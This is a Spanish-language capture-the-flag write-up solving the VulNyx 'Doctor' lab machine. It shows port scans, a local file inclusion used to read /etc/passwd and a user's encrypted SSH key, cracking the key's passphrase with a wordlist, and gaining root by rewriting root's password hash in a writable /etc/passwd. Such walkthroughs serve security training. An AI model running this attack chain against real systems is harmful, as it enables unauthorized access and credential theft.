VulNyx - Doctor

- Local File Inclusion
- Passphrase Cracking
- Weak File Permissions
Escaneo de puertos
❯ nmap -p- -T5 -v -n 192.168.1.15
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.15
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 4495500be473a18511ca10ec1ccbd426 (RSA)
| 256 27db6ac73a9c5a0e47ba8d81ebd6d63c (ECDSA)
|_ 256 e30756a92563d4ce3901c19ad9fede64 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-favicon: Unknown favicon MD5: 821018649C8FDAD8391C36FADCB793A5
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
|_http-title: Docmed
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP
Después de mirar el menu de navegación entro en Doctors.

En Doctors me llama la atencion el parámetro include porque muestra el contenido de Doctors.html.

Si cambio Doctors.html por /etc/passwd consigo leer el archivo passwd y veo que existe el usuario admin.

Encuentro una llave rsa en el home de admin.

En la imagen anterior se puede observar que la llave rsa está encriptada.
Proc-Type: 4,ENCRYPTED
Si intento conectarme por SSH me pide un passphrase que no tengo.
❯ ssh admin@192.168.1.15 -i id_rsa
Enter passphrase for key 'id_rsa':
Para obtener el passphrase he usado esta herramienta RSAcrack
❯ ./RSAcrack.sh -w /usr/share/wordlists/rockyou.txt -k id_rsa
╭━━━┳━━━┳━━━╮ ╭╮
┃╭━╮┃╭━╮┃╭━╮┃ ┃┃
┃╰━╯┃╰━━┫┃ ┃┣━━┳━┳━━┳━━┫┃╭╮
┃╭╮╭┻━━╮┃╰━╯┃╭━┫╭┫╭╮┃╭━┫╰╯╯
┃┃┃╰┫╰━╯┃╭━╮┃╰━┫┃┃╭╮┃╰━┫╭╮╮
╰╯╰━┻━━━┻╯ ╰┻━━┻╯╰╯╰┻━━┻╯╰╯
-=========================-
[*] Cracking: id_rsa
[*] Wordlist: /usr/share/wordlists/rockyou.txt
[i] Status:
1242/14344392/0%/u*****n
[+] Password: u*****n Line: 1242
Una vez he conseguido el passphrase consigo conectarme al sistema.
❯ ssh admin@192.168.1.15 -i id_rsa
Enter passphrase for key 'id_rsa':
Linux doctor 4.19.0-17-amd64 #1 SMP Debian 4.19.194-3 (2021-07-18) x86_64
admin@doctor:~$ id
uid=1000(admin) gid=1000(admin) grupos=1000(admin),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
Privesc
Enumerando el directorio /etc encuentro el archivo passwd y este tiene permisos de lectura y escritura.
admin@doctor:~$ find /etc -writable 2>/dev/null
/etc/passwd
admin@doctor:~$ ls -la /etc/passwd
-rw----rw- 1 root root 1407 abr 22 02:00 /etc/passwd
Con openssl creo una contraseña.
admin@doctor:/tmp$ openssl passwd
Password:
Verifying - Password:
v1lqXvNcrNYhU
Edito el archivo /etc/passwd y cambio la x de root por la contraseña generada anteriormente.
root:v1lqXvNcrNYhU:0:0:root:/root:/bin/bash
Obtengo el root.
admin@doctor:~$ su root
Contraseña:
root@doctor:/home/admin# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Doctor.
Saludos!